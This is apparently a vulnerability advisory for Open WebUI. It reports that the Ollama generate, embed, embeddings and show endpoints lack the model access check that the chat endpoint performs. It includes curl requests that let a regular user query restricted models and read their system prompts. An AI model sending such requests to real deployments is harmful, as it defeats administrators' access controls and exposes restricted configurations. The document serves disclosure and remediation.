Ollama Model Access Control Bypass via /api/generate, /api/embed, /api/embeddings, and /api/show

Affected Component

• backend/open webui/routers/ollama.py (lines 955-995, generate completion)
• backend/open webui/routers/ollama.py (lines 835-881, embed)
• backend/open webui/routers/ollama.py (lines 891-937, embeddings)
• backend/open webui/routers/ollama.py (lines 791-820, show model info)

Affected Versions

Description

# /api/chat (line 1101-1122) — CORRECTLY checks access
if not bypass filter and user.role == 'user':
  user group ids = {group.id for group in Groups.get groups by member id(user.id)}
  if not (
    user.id == model info.user id
    or AccessGrants.has access(
      user id=user.id, resource type='model',
      resource id=model info.id, permission='read',
      user group ids=user group ids,
    )
  ):
    raise HTTPException(status code=403, detail='Model not found')

# /api/generate (line 955-995) — NO access check at all
# /api/embed (line 835-881) — NO access check at all
# /api/embeddings (line 891-937) — NO access check at all
# /api/show (line 791-820) — NO access check at all

CVSS 3.1 Breakdown

Attack Scenario

1. Admin configures model access control, restricting llama3:70b to the "ML Engineers" group. Regular user Alice is only authorized for llama3:8b.
2. Alice knows the restricted model name (model names are predictable — llama3:70b, mistral:latest, etc.).
3. Alice calls the unprotected endpoints directly:

# Run completions on restricted model
curl -X POST /ollama/api/generate 
 -H "Authorization: Bearer <alice token>" 
 -d '{"model": "llama3:70b", "prompt": "..."}'

# View restricted model details and system prompt
curl -X POST /ollama/api/show 
 -H "Authorization: Bearer <alice token>" 
 -d '{"model": "llama3:70b"}'

# Generate embeddings with restricted model
curl -X POST /ollama/api/embed 
 -H "Authorization: Bearer <alice token>" 
 -d '{"model": "llama3:70b", "input": "..."}'

4. All requests succeed and are proxied to Ollama without any access control check.

Impact

• Model access control is silently ineffective for four out of five Ollama proxy endpoints
• Unauthorized users can consume GPU/compute resources on restricted models (cost and capacity impact in multi-user deployments)
• /api/show exposes restricted model configurations including system prompts, parameters, templates, and license information
• Admins have a false sense of security — access restrictions appear to work via the main chat interface but are trivially bypassed via direct API calls

Preconditions

• Ollama must be configured as a backend
• Admin must have configured model access control (not using BYPASS MODEL ACCESS CONTROL=true)
• Attacker must know the restricted model name (model names follow predictable conventions)